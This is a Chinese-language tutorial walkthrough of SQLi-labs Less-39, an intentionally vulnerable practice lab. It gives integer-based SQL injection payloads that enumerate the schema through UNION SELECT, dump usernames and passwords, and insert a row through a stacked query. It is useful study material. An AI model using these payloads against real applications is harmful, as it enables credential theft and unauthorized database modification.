SQLi LABS Less-39

简介: 第三十九关请求方式为GET请求 , 注入类型为 整形注入 第一步,判断注入类型

第三十九关请求方式为GET请求 , 注入类型为 整形注入

 

第一步,判断注入类型

?id=2 and false -- a

SQL不成立时 , 不报错,并且无显示 , 说明拼接后的SQL可以正常执行 , 固 注入类型为 整形注入

image.png

源码如下


image.png

image.png

mysqli_multi_query() 可同时执行多条SQL语句 , 满足叠加注入的条件

 

第二步,判断字段数

使用 order by 测试字段数

?id=2 order by 4 -- a

从第1列开始排序 , 依次加1 , 至4列时报错 , 固 字段数为3

image.png

 

第三步,判断显示位置

联合查询测试字段显示的位置

?id=-1 union select 1,2,3 -- a

此处的 id=-1 , 由于用户id不为负,所以该SQL查询不出用户数据,返回的结果只有联合查询的 1 2 3 这一条数据 , 目的在于 方便结果的展示



image.png

第四步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(schema_name)
from information_schema.schemata)
 -- a

image.png

下一步 , 根据 security数据库 , 获取其所有表


第五步,获取所有表

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1 union select 1,2,
(select group_concat(table_name)
from information_schema.tables 
where table_schema='security')
 -- a

存储的 group_concat() 可以将多行结果合并为一行 , 目的在于更好的展示效果


image.png


users表为用户表 , 下一步根据 users表 获取其所有字段

第六步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

?id=-1 union select 1,2,
(select group_concat(column_name)
from information_schema.columns 
where table_schema='security' and table_name='users')
 -- a

image.png

至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据此信息获取账号密码

 

第七步,获取账号密码

?id=-1 union select 1,2,
(select group_concat(username,'~',password)
from security.users)
 -- a

image.png

第八步,叠加注入

?id=1; insert into users(id,username,password)
values(20,'zhangsan','123')
 -- a

插入的成功与否 , 页面不会显示 , 我们直接通过id访问

image.png


相关文章
|
7月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
325 0
SQLi LABS Less-26a
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
232 0
SQLi LABS Less-25a
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
144 0
SQLi LABS Less-30
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
151 0
SQLi LABS Less-16
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
185 0
SQLi LABS Less-19
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
263 0
SQLi LABS Less-26
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
169 0
SQLi LABS Less-21
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
181 0
SQLi LABS Less-27a
|
SQL 安全 数据库
SQLi LABS Less-17
第十七关请求方式为POST请求 , 注入点为 单引号字符型注入 , 注入方式为 报错注入 第一步,判断注入类型
172 0
SQLi LABS Less-17